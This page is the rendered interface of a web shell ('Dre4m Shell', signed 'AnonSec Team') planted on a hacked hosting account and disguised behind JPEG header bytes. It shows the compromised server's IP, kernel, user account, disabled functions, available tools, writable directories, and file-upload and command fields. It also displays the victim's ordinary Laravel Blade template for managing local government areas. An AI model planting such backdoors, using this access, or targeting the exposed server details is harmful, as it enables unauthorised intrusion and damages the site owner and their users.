ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.117.100.190
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/lga/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/lga/lgacovered.blade.php
@extends('layouts.layout')
@section('pageTitle')
Local Govement Covered
  
@endsection



@section('content')

<div id="editModal" class="modal fade">
        <div class="modal-dialog box box-default" role="document">
          <div class="modal-content">
            <div class="modal-header">
              <h4 class="modal-title">Edit Local Government Area</h4>
              <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>
            </div>
            <form class="form-horizontal" id="editLgaModal" name="editLgaModal"
                    role="form" method="POST" action="{{url('lga/covered/edit')}}">
                    {{ csrf_field() }}
            <div class="modal-body">  
                <div class="form-group" style="margin: 0 10px;">
                    <label class="col-sm-2 control-label">LGA</label>
                    <input type="text" class="col-sm-9 form-control" id="lgaChange" name="lgaChange">
                    <input type="hidden" id="lgaid" name="lgaid" value="">
                </div>
                <div class="modal-footer">
                    <button type="Submit" class="btn btn-success">Save changes</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                </div>
                </div>
                </form>
            </div>
            
          </div>
        </div>

<div class="box box-default">
  <div class="box-body box-profile">
    <div class="box-header with-border hidden-print">
      <h3 class="box-title">@yield('pageTitle') <span id='processing'></span></h3>
    </div>
    <div class="box-body">
      <div class="row">
        <div class="col-md-12"><!--1st col--> 
          @include('Share.message')
        
        <form class="form-horizontal" role="form" method="post" action="{{url('lga/covered/add')}}">
        {{ csrf_field() }}

        <div class="col-md-12"><!--2nd col-->
          <!-- /.row -->
          <div class="form-group">
          <div class="col-md-4">          
                <label class="control-label">State</label>
                <select class="form-control" id="state" name="state">
                <option value=""  >-select State-</option>     
                @foreach($getStates as $list)
                <option value="{{$list->StateID}}" {{$StateID==$list->StateID? "selected":""}} >{{$list->State}}</option>
                @endforeach    
                </select>
            </div>
            
            <div class="col-md-4">
                <label class="control-label">Local Govement Area</label>
                <input type="text" class="form-control" id="localGovernmentArea" name="localGovernmentArea" placeholder="">
            </div>

            <div class="col-md-4">
                <br>
                <button type="submit" class="btn btn-success" name="add">
                    <i class="fa fa-btn fa-floppy-o"></i> Add
                </button>
                <a href="{{url('clear-all')}}" title="Clear All" class="btn btn-success">Clear</a>	            
            </div>
        </div>
            </div>
          <!-- /.col --> 
        </div>
        <!-- /.row -->

        </form>

            <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;">
                <table class="table table-bordered table-striped table-highlight" >
                    <thead>
                        <tr bgcolor="#c7c7c7">
                            	 
                            
                            <th >S/N</th>
                            <th >Name</th>
                            <th > Edit</th>
                            <th >Delete</th>  
                        </tr>
                    </thead>
                    @php $i=1;@endphp
                    @foreach($getLGA as $list)
                        <tr>
                        <td>{{$i++}}</td>
                        <td>{{$list->lga}}</td>
                            <td>
                            <a style="color: blue; cursor: pointer;" onclick="editfunc('{{$list->lga}}', '{{$list->lgaId}}')" class="" id="" >Edit</a>
                            </td>
                            <td>
                            <a style="color: blue; cursor: pointer;" href="{{url('lga/covered/remove/'.$list->lgaId)}}"
                                onclick="return confirm('Are you sure you want to delete this item?');" >Delete</a>
                            </td>
                            
                    </tr>
                    @endforeach
                </table>
        
            </div>
          
          <hr />
        </div>
       
  </div>
</div>

<form id="getAllLga" method="post" action="{{url('lga/covered')}}">
    {{ csrf_field() }}
      <input type="hidden" id="getState" name="getState" />
</form>

@endsection

@section('styles')
<style type="text/css">
    .modal-dialog {
width:10cm
}

.modal-header {

background-color: #006600;

color:#FFF;

}

</style>
@endsection

@section('scripts')
<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
<script>
    function editfunc(x,y)
    {
    $(document).ready(function(){
        $('#lgaChange').val(x);
        $('#lgaid').val(y);
        $("#editModal").modal('show');
     });
    }

     $('#state').change(function()
    {
      $('#getState').val($('#state').val());
      $('#getAllLga').submit();	
	  });

    
</script>

    </script>

@stop


Anon7 - 2022
AnonSec Team